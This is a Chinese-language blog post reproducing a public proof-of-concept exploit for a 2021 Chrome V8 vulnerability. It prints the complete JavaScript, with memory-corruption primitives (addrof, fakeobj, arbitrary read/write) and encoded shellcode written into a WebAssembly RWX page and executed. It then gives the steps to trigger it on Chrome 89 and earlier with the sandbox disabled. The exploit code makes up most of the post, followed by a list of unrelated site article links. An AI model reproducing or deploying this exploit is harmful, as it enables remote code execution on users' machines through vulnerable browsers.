关于Chrome

Chrome就是Google浏览器。。。

POC

Git链接

https://github.com/r4j0x00/exploits/tree/master/chrome-0day

POC

/*
/*
BSD 2-Clause License
Copyright (c) 2021, rajvardhan agarwal
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/ var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main; var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150); function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
} function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
} const _arr = new Uint32Array([2**31]); function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1; x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0); x -= 1;
if(x==-1) x = 0; var arr = new Array(x);
arr.shift();
var cor = [1.1, 1.2, 1.3]; return [arr, cor];
} for(var i=0;i<0x3000;++i)
foo(true); var x = foo(false);
var arr = x[0];
var cor = x[1]; const idx = 6;
arr[idx+10] = 0x4242; function addrof(k) {
arr[idx+1] = k;
return ftoi(cor[0]) & 0xffffffffn;
} function fakeobj(k) {
cor[0] = itof(k);
return arr[idx+1];
} var float_array_map = ftoi(cor[3]); var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n); function arbread(addr) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
return (fake[0]);
} function arbwrite(addr, val) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
fake[0] = itof(BigInt(val));
} function copy_shellcode(addr, shellcode) {
let dataview = new DataView(buf2);
let buf_addr = addrof(buf2);
let backing_store_addr = buf_addr + 0x14n;
arbwrite(backing_store_addr, addr); for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
} var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
copy_shellcode(rwx_page_addr, shellcode);
f();

将以上保存为js文件,在浏览器中加载即可

<script>1.js</script>

漏洞前提

1.版本Google Chrome <= 89.0.4389.114 目前最新版

2.关闭Google的沙箱

在谷歌浏览器属性--目标-最后边加入参数 --args --no-sandbox,然后点击保存,此时会关闭沙箱。

右击Google快捷方式,在目标中追加 --args --no-sandbox

漏洞利用

1.这是我分别保存的js文件和html文件



2.使用Google浏览器打开1.html



。。。啥都没有,嘤嘤嘤

3.参考大佬文章查看原因--未解决

此漏洞无法完成chrome的沙箱逃逸,默认情况下chrome开启沙箱。可采用关闭沙箱逃逸的方式进行浮现,如需无条件rce还需要沙箱逃逸的漏洞。



emmm,我感觉可能是浏览器版本太高了

已解决(2021/4/13 17:35):参考漏洞前提

参考

https://mp.weixin.qq.com/s/xlPlw9IT0F7YB6j_Uh9RkQ

http://www.hackdig.com/04/hack-322890.htm

最新文章

  1. 在QMainWindow中利用多个QDockWidget构成标签页tab(原创)
  2. 【腾讯优测干货分享】Android 相机预览方向及其适配探索
  3. 调用约定__cdecl和__stdcall
  4. 30天C#基础巩固------面向鸭子编程,关于string和File的练习
  5. 【转载】UVa 11464 Even Parity 偶数矩阵
  6. 微信公共服务平台开发(.Net 的实现)8-------处理图片(上传下载发送)
  7. 【培训】交换机VLAN
  8. SQL Server 查看identity值的几种方法。
  9. World is Exploding (容斥 + 统计)
  10. 洗礼灵魂,修炼python(87)-- 知识拾遗篇 —— 线程(1)
  11. Java版本翻转字符串
  12. 使用RabbitMq
  13. 【java高级编程】jdk自带事件模型编程接口
  14. 集合,ArrayList
  15. dedecms自定义模型之独立模型在首页、列表页、内容调用内容
  16. Linux 系统文件类型
  17. JS学习笔记(模态框JS传参)
  18. 查看MSSQL数据库每个表占用的空间大小
  19. GLIBCXX_3.4.9&#39; not found - 解决办法
  20. 使用ssm整合是创建Maven项目报错Failure to transfer com.thoughtworks.xstream:xstream:pom:1.3.1

热门文章

  1. HTML5 &amp; custom element &amp; template
  2. how to close macos eject icon from menu bar
  3. Github 获取仓库的releases API
  4. 比特币跌破3.5万美元,巨鲸们将目光瞄向SPC算力币
  5. 【函数分享】每日PHP函数分享(2021-2-19)
  6. django学习-1.开始hello world!
  7. redis5.* 手动构建集群
  8. Debian 基本使用进阶
  9. 你要是还学不会,请提刀来见 Typora+PicGo+Gitee + node.js 打造个人高效稳定优雅图床
  10. Pyqt5——带图标的表格(Model/View)